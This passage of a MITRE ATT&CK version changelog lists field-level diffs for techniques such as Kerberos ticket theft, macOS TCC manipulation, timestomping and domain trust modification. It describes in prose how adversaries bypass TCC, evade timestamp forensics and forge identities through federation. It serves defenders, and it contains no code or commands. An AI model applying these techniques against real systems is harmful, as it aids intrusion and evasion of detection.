Kerberos macOS 2019)(Citation: macOS kerberos framework MIT) +Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. + +On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist) +
x_mitre_version1.51.6
iterable_item_removed
STIX FieldOld valueNew Value
external_references{'source_name': 'Kekeo', 'description': 'Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.', 'url': 'https://github.com/gentilkiwi/kekeo'}
external_references{'source_name': 'SpectorOps Bifrost Kerberos macOS 2019', 'description': 'Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.', 'url': 'https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f'}
external_references{'source_name': 'macOS kerberos framework MIT', 'description': 'Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021.', 'url': 'http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html'}
external_references{'source_name': 'MIT ccache', 'description': 'Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021.', 'url': 'https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html'}
external_references{'source_name': 'Brining MimiKatz to Unix', 'description': 'Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.', 'url': 'https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf'}
external_references{'source_name': 'Linux Kerberos Tickets', 'description': 'Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html'}

[T1614] System Location Discovery

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2021-10-15 22:00:56.438000+00:002024-10-15 16:07:23.511000+00:00
external_references[1]['description']FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021.FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved September 12, 2024.
external_references[1]['url']https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdfhttps://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf
x_mitre_version1.01.1

[T1569] System Services

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User', 'Administrator', 'SYSTEM', 'root']
values_changed
STIX FieldOld valueNew Value
modified2022-03-22 17:29:46.189000+00:002024-09-20 19:55:40.527000+00:00
x_mitre_version1.21.3

[T1548.006] Abuse Elevation Control Mechanism: TCC Manipulation

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries can manipulate or abuse the Transparency, Consent1Adversaries can manipulate or abuse the Transparency, Consen
>t, & Control (TCC) service or database to execute malicious >t, & Control (TCC) service or database to grant malicious ex
>applications with elevated permissions. TCC is a Privacy & S>ecutables elevated permissions. TCC is a Privacy & Security 
>ecurity macOS control mechanism used to determine if the run>macOS control mechanism used to determine if the running pro
>ning process has permission to access the data or services p>cess has permission to access the data or services protected
>rotected by TCC, such as screen sharing, camera, microphone,> by TCC, such as screen sharing, camera, microphone, or Full
> or Full Disk Access (FDA).  When an application requests to> Disk Access (FDA).  When an application requests to access 
> access data or a service protected by TCC, the TCC daemon (>data or a service protected by TCC, the TCC daemon (`tccd`) 
>`tccd`) checks the TCC database, located at `/Library/Applic>checks the TCC database, located at `/Library/Application Su
>ation Support/com.apple.TCC/TCC.db` (and `~/` equivalent), f>pport/com.apple.TCC/TCC.db` (and `~/` equivalent), and an ov
>or existing permissions. If permissions do not exist, then t>erwrites file (if connected to an MDM) for existing permissi
>he user is prompted to grant permission. Once permissions ar>ons. If permissions do not exist, then the user is prompted 
>e granted, the database stores the application's permissions>to grant permission. Once permissions are granted, the datab
> and will not prompt the user again unless reset. For exampl>ase stores the application's permissions and will not prompt
>e, when a web browser requests permissions to the user's web> the user again unless reset. For example, when a web browse
>cam, once granted the web browser may not explicitly prompt >r requests permissions to the user's webcam, once granted th
>the user again.(Citation: welivesecurity TCC)  Adversaries m>e web browser may not explicitly prompt the user again.(Cita
>ay manipulate the TCC database or otherwise abuse the TCC se>tion: welivesecurity TCC)  Adversaries may access restricted
>rvice to execute malicious content. This can be done in vari> data or services protected by TCC through abusing applicati
>ous ways, including using privileged system applications to >ons previously granted permissions through [Process Injectio
>execute malicious payloads or manipulating the database to g>n](https://attack.mitre.org/techniques/T1055) or executing a
>rant their application TCC permissions.   For example, adver> malicious binary using another application. For example, ad
>saries can use Finder, which has FDA permissions by default,>versaries can use Finder, a macOS native app with FDA permis
> to execute malicious [AppleScript](https://attack.mitre.org>sions, to execute a malicious [AppleScript](https://attack.m
>/techniques/T1059/002) while preventing a user prompt. For a>itre.org/techniques/T1059/002). When executing under the Fin
> system without System Integrity Protection (SIP) enabled, a>der App, the malicious [AppleScript](https://attack.mitre.or
>dversaries have also manipulated the operating system to loa>g/techniques/T1059/002) inherits access to all files on the 
>d an adversary controlled TCC database using environment var>system without requiring a user prompt. When System Integrit
>iables and [Launchctl](https://attack.mitre.org/techniques/T>y Protection (SIP) is disabled, TCC protections are also dis
>1569/001).(Citation: TCC macOS bypass)(Citation: TCC Databas>abled. For a system without SIP enabled, adversaries can man
>e)  Adversaries may also opt to instead inject code (e.g., [>ipulate the TCC database to add permissions to their malicio
>Process Injection](https://attack.mitre.org/techniques/T1055>us executable through loading an adversary controlled TCC da
>)) into targeted applications with the desired TCC permissio>tabase using environment variables and [Launchctl](https://a
>ns. >ttack.mitre.org/techniques/T1569/001).(Citation: TCC macOS b
 >ypass)(Citation: TCC Database)  

Dropped Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-17 00:02:12.021000+00:002024-10-16 16:54:56.714000+00:00
descriptionAdversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to execute malicious applications with elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA). + +When an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC) + +Adversaries may manipulate the TCC database or otherwise abuse the TCC service to execute malicious content. This can be done in various ways, including using privileged system applications to execute malicious payloads or manipulating the database to grant their application TCC permissions. + +For example, adversaries can use Finder, which has FDA permissions by default, to execute malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) while preventing a user prompt. For a system without System Integrity Protection (SIP) enabled, adversaries have also manipulated the operating system to load an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database) + +Adversaries may also opt to instead inject code (e.g., [Process Injection](https://attack.mitre.org/techniques/T1055)) into targeted applications with the desired TCC permissions. +Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA). + +When an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.(Citation: welivesecurity TCC) + +Adversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through [Process Injection](https://attack.mitre.org/techniques/T1055) or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002). When executing under the Finder App, the malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002) inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation: TCC macOS bypass)(Citation: TCC Database) + +
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsWojciech Reguła @_r3ggi
x_mitre_contributorsCsaba Fitzl @theevilbit of Kandji

[T1080] Taint Shared Content

Current version: 1.5

Version changed from: 1.4 → 1.5

Details
values_changed
STIX FieldOld valueNew Value
modified2023-05-31 12:33:20.915000+00:002024-10-15 16:07:36.903000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.41.5
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365

[T1548.005] Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-28 15:30:09.313000+00:002024-10-15 16:07:49.519000+00:00
x_mitre_version1.11.2
x_mitre_platforms[2]Office 365Identity Provider
x_mitre_platforms[1]Azure ADOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsGoogle Workspace

[T1070.006] Indicator Removal: Timestomp

Current version: 1.1

Version changed from: 1.0 → 1.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may modify file time attributes to hide new or ct1Adversaries may modify file time attributes to hide new file
>hanges to existing files. Timestomping is a technique that m>s or changes to existing files. Timestomping is a technique 
>odifies the timestamps of a file (the modify, access, create>that modifies the timestamps of a file (the modify, access, 
>, and change times), often to mimic files that are in the sa>create, and change times), often to mimic files that are in 
>me folder. This is done, for example, on files that have bee>the same folder and blend malicious files with legitimate fi
>n modified or created by the adversary so that they do not a>les.  Both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NA
>ppear conspicuous to forensic investigators or file analysis>ME` (`$FN`) attributes record times in a Master File Table (
> tools.  Timestomping may be used along with file name [Masq>MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (da
>uerading](https://attack.mitre.org/techniques/T1036) to hide>tes/time stamps) is displayed to the end user, including in 
> malware and tools.(Citation: WindowsIR Anti-Forensic Techni>the File System view, while `$FN` is dealt with by the kerne
>ques)>l.(Citation: Magnet Forensics)  Modifying the `$SI` attribut
 >e is the most common method of timestomping because it can b
 >e modified at the user level using API calls. `$FN` timestom
 >ping, however, typically requires interacting with the syste
 >m kernel or moving or renaming a file.(Citation: Inversecos 
 >Timestomping 2022)  Adversaries modify timestamps on files s
 >o that they do not appear conspicuous to forensic investigat
 >ors or file analysis tools. In order to evade detections tha
 >t rely on identifying discrepancies between the `$SI` and `$
 >FN` attributes, adversaries may also engage in “double times
 >tomping” by modifying times on both attributes simultaneousl
 >y.(Citation: Double Timestomping)  Timestomping may be used 
 >along with file name [Masquerading](https://attack.mitre.org
 >/techniques/T1036) to hide malware and tools.(Citation: Wind
 >owsIR Anti-Forensic Techniques)

New Detections:

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['root', 'SYSTEM', 'User']
values_changed
STIX FieldOld valueNew Value
modified2020-03-29 21:39:46.724000+00:002024-09-30 15:14:56.021000+00:00
descriptionAdversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. + +Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files. + +Both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet Forensics) + +Modifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022) + +Adversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in “double timestomping” by modifying times on both attributes simultaneously.(Citation: Double Timestomping) + +Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)
x_mitre_version1.01.1
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Inversecos Timestomping 2022', 'description': 'Lina Lau. (2022, April 28). Defence Evasion Technique: Timestomping Detection – NTFS Forensics. Retrieved September 30, 2024.', 'url': 'https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html'}
external_references{'source_name': 'Magnet Forensics', 'description': 'Magnet Forensics. (2020, August 24). Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact. Retrieved June 20, 2024.', 'url': 'https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/'}
external_references{'source_name': 'Double Timestomping', 'description': 'Matthew Dunwoody. (2022, April 28). I have seen double-timestomping ITW, including by APT29. Stay sharp out there.. Retrieved June 20, 2024.', 'url': 'https://x.com/matthewdunwoody/status/1519846657646604289'}
x_mitre_contributorsMike Hartley @mikehartley10
x_mitre_data_sourcesProcess: OS API Execution
x_mitre_data_sourcesCommand: Command Execution

[T1020.001] Automated Exfiltration: Traffic Duplication

Current version: 1.3

Version changed from: 1.2 → 1.3

New Mitigations:

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_network_requirementsFalse
values_changed
STIX FieldOld valueNew Value
modified2023-04-14 23:23:30.327000+00:002024-10-15 16:08:13.273000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.21.3

[T1537] Transfer Data to Cloud Account

Current version: 1.5

Version changed from: 1.4 → 1.5

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-11 15:53:00.577000+00:002024-10-15 16:08:25.344000+00:00
x_mitre_version1.41.5
x_mitre_platforms[2]Google WorkspaceOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365

[T1484.002] Domain or Tenant Policy Modification: Trust Modification

Current version: 2.1

Version changed from: 2.0 → 2.1

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may add new domain trusts, modify the propertiest1Adversaries may add new domain trusts, modify the properties
> of existing domain trusts, or otherwise change the configur> of existing domain trusts, or otherwise change the configur
>ation of trust relationships between domains and tenants to >ation of trust relationships between domains and tenants to 
>evade defenses and/or elevate privileges.Trust details, such>evade defenses and/or elevate privileges.Trust details, such
> as whether or not user identities are federated, allow auth> as whether or not user identities are federated, allow auth
>entication and authorization properties to apply between dom>entication and authorization properties to apply between dom
>ains or tenants for the purpose of accessing shared resource>ains or tenants for the purpose of accessing shared resource
>s.(Citation: Microsoft - Azure AD Federation) These trust ob>s.(Citation: Microsoft - Azure AD Federation) These trust ob
>jects may include accounts, credentials, and other authentic>jects may include accounts, credentials, and other authentic
>ation material applied to servers, tokens, and domains.  Man>ation material applied to servers, tokens, and domains.  Man
>ipulating these trusts may allow an adversary to escalate pr>ipulating these trusts may allow an adversary to escalate pr
>ivileges and/or evade defenses by modifying settings to add >ivileges and/or evade defenses by modifying settings to add 
>objects which they control. For example, in Microsoft Active>objects which they control. For example, in Microsoft Active
> Directory (AD) environments, this may be used to forge [SAM> Directory (AD) environments, this may be used to forge [SAM
>L Tokens](https://attack.mitre.org/techniques/T1606/002) wit>L Tokens](https://attack.mitre.org/techniques/T1606/002) wit
>hout the need to compromise the signing certificate to forge>hout the need to compromise the signing certificate to forge
> new credentials. Instead, an adversary can manipulate domai> new credentials. Instead, an adversary can manipulate domai
>n trusts to add their own signing certificate. An adversary >n trusts to add their own signing certificate. An adversary 
>may also convert an AD domain to a federated domain using Ac>may also convert an AD domain to a federated domain using Ac
>tive Directory Federation Services (AD FS), which may enable>tive Directory Federation Services (AD FS), which may enable
> malicious trust modifications such as altering the claim is> malicious trust modifications such as altering the claim is
>suance rules to log in any valid set of credentials as a spe>suance rules to log in any valid set of credentials as a spe
>cified user.(Citation: AADInternals zure AD Federated Domain>cified user.(Citation: AADInternals zure AD Federated Domain
>)   An adversary may also add a new federated identity provi>)   An adversary may also add a new federated identity provi
>der to an identity tenant such as Okta, which may enable the>der to an identity tenant such as Okta or AWS IAM Identity C
> adversary to authenticate as any user of the tenant.(Citati>enter, which may enable the adversary to authenticate as any
>on: Okta Cross-Tenant Impersonation 2023)> user of the tenant.(Citation: Okta Cross-Tenant Impersonati
 >on 2023) This may enable the threat actor to gain broad acce
 >ss into a variety of cloud-based services that leverage the 
 >identity tenant. For example, in AWS environments, an advers
 >ary that creates a new identity provider for an AWS Organiza
 >tion will be able to federate into all of the AWS Organizati
 >on member accounts without creating identities for each of t
 >he member accounts.(Citation: AWS RE:Inforce Threat Detectio
 >n 2024)

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-19 04:27:51.388000+00:002024-09-25 13:50:11.593000+00:00
descriptionAdversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. + +Manipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) + +An adversary may also add a new federated identity provider to an identity tenant such as Okta, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023)Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. + +Manipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) + +An adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.(Citation: AWS RE:Inforce Threat Detection 2024)
x_mitre_version2.02.1
x_mitre_platforms[1]Azure ADIdentity Provider
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'AWS RE:Inforce Threat Detection 2024', 'description': 'Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.', 'url': 'https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf'}
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsSaaS

[T1199] Trusted Relationship

Current version: 2.4

Version changed from: 2.3 → 2.4

Details
values_changed
STIX FieldOld valueNew Value
modified2022-10-21 14:35:00.274000+00:002024-10-15 16:08:39.968000+00:00
x_mitre_attack_spec_version2.1.03.2.0
x_mitre_version2.32.4
x_mitre_platforms[5]Office 365Identity Provider
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite

[T1552] Unsecured Credentials

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-15 21:33:12.892000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version1.31.4
x_mitre_platforms[7]Google WorkspaceOffice Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365

[T1550] Use Alternate Authentication Material

Current version: 1.4

Version changed from: 1.3 → 1.4

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-28 15:43:30.271000+00:002024-10-15 16:09:19.001000+00:00
external_references[3]['description']NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020.NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved September 25, 2024.
external_references[3]['url']https://csrc.nist.gov/glossary/term/Multi_Factor-Authenticationhttps://csrc.nist.gov/glossary/term/multi_factor_authentication
x_mitre_version1.31.4
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsIdentity Provider
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1204] User Execution

Current version: 1.7

Version changed from: 1.6 → 1.7

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1An adversary may rely upon specific actions by a user in ordt1An adversary may rely upon specific actions by a user in ord
>er to gain execution. Users may be subjected to social engin>er to gain execution. Users may be subjected to social engin
>eering to get them to execute malicious code by, for example>eering to get them to execute malicious code by, for example
>, opening a malicious document file or link. These user acti>, opening a malicious document file or link. These user acti
>ons will typically be observed as follow-on behavior from fo>ons will typically be observed as follow-on behavior from fo
>rms of [Phishing](https://attack.mitre.org/techniques/T1566)>rms of [Phishing](https://attack.mitre.org/techniques/T1566)
>.  While [User Execution](https://attack.mitre.org/technique>.  While [User Execution](https://attack.mitre.org/technique
>s/T1204) frequently occurs shortly after Initial Access it m>s/T1204) frequently occurs shortly after Initial Access it m
>ay occur at other phases of an intrusion, such as when an ad>ay occur at other phases of an intrusion, such as when an ad
>versary places a file in a shared directory or on a user's d>versary places a file in a shared directory or on a user's d
>esktop hoping that a user will click on it. This activity ma>esktop hoping that a user will click on it. This activity ma
>y also be seen shortly after [Internal Spearphishing](https:>y also be seen shortly after [Internal Spearphishing](https:
>//attack.mitre.org/techniques/T1534).  Adversaries may also >//attack.mitre.org/techniques/T1534).  Adversaries may also 
>deceive users into performing actions such as enabling [Remo>deceive users into performing actions such as:  * Enabling [
>te Access Software](https://attack.mitre.org/techniques/T121>Remote Access Software](https://attack.mitre.org/techniques/
>9), allowing direct control of the system to the adversary; >T1219), allowing direct control of the system to the adversa
>running malicious JavaScript in their browser, allowing adve>ry * Running malicious JavaScript in their browser, allowing
>rsaries to [Steal Web Session Cookie](https://attack.mitre.o> adversaries to [Steal Web Session Cookie](https://attack.mi
>rg/techniques/T1539)s; or downloading and executing malware >tre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)
>for [User Execution](https://attack.mitre.org/techniques/T12>(Citation: Krebs Discord Bookmarks 2023) * Downloading and e
>04).(Citation: Talos Roblox Scam 2023)(Citation: Krebs Disco>xecuting malware for [User Execution](https://attack.mitre.o
>rd Bookmarks 2023)  For example, tech support scams can be f>rg/techniques/T1204) * Coerceing users to copy, paste, and e
>acilitated through [Phishing](https://attack.mitre.org/techn>xecute malicious code manually(Citation: Reliaquest-executio
>iques/T1566), vishing, or various forms of user interaction.>n)(Citation: proofpoint-selfpwn)  For example, tech support 
> Adversaries can use a combination of these methods, such as>scams can be facilitated through [Phishing](https://attack.m
> spoofing and promoting toll-free numbers or call centers th>itre.org/techniques/T1566), vishing, or various forms of use
>at are used to direct victims to malicious websites, to deli>r interaction. Adversaries can use a combination of these me
>ver and execute payloads containing malware or [Remote Acces>thods, such as spoofing and promoting toll-free numbers or c
>s Software](https://attack.mitre.org/techniques/T1219).(Cita>all centers that are used to direct victims to malicious web
>tion: Telephone Attack Delivery)>sites, to deliver and execute payloads containing malware or
 > [Remote Access Software](https://attack.mitre.org/technique
 >s/T1219).(Citation: Telephone Attack Delivery)
Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-12 03:46:49.507000+00:002024-10-13 15:43:49.208000+00:00
descriptionAn adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). + +While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). + +Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary; running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s; or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023) + +For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). + +While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). + +Adversaries may also deceive users into performing actions such as: + +* Enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary +* Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023) +* Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204) +* Coerceing users to copy, paste, and execute malicious code manually(Citation: Reliaquest-execution)(Citation: proofpoint-selfpwn) + +For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)
x_mitre_version1.61.7
x_mitre_contributors[1]Goldstein MenachemMenachem Goldstein
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Reliaquest-execution', 'description': 'Reliaquest. (2024, May 31). New Execution Technique in ClearFake Campaign. Retrieved August 2, 2024.', 'url': 'https://www.reliaquest.com/blog/new-execution-technique-in-clearfake-campaign/'}
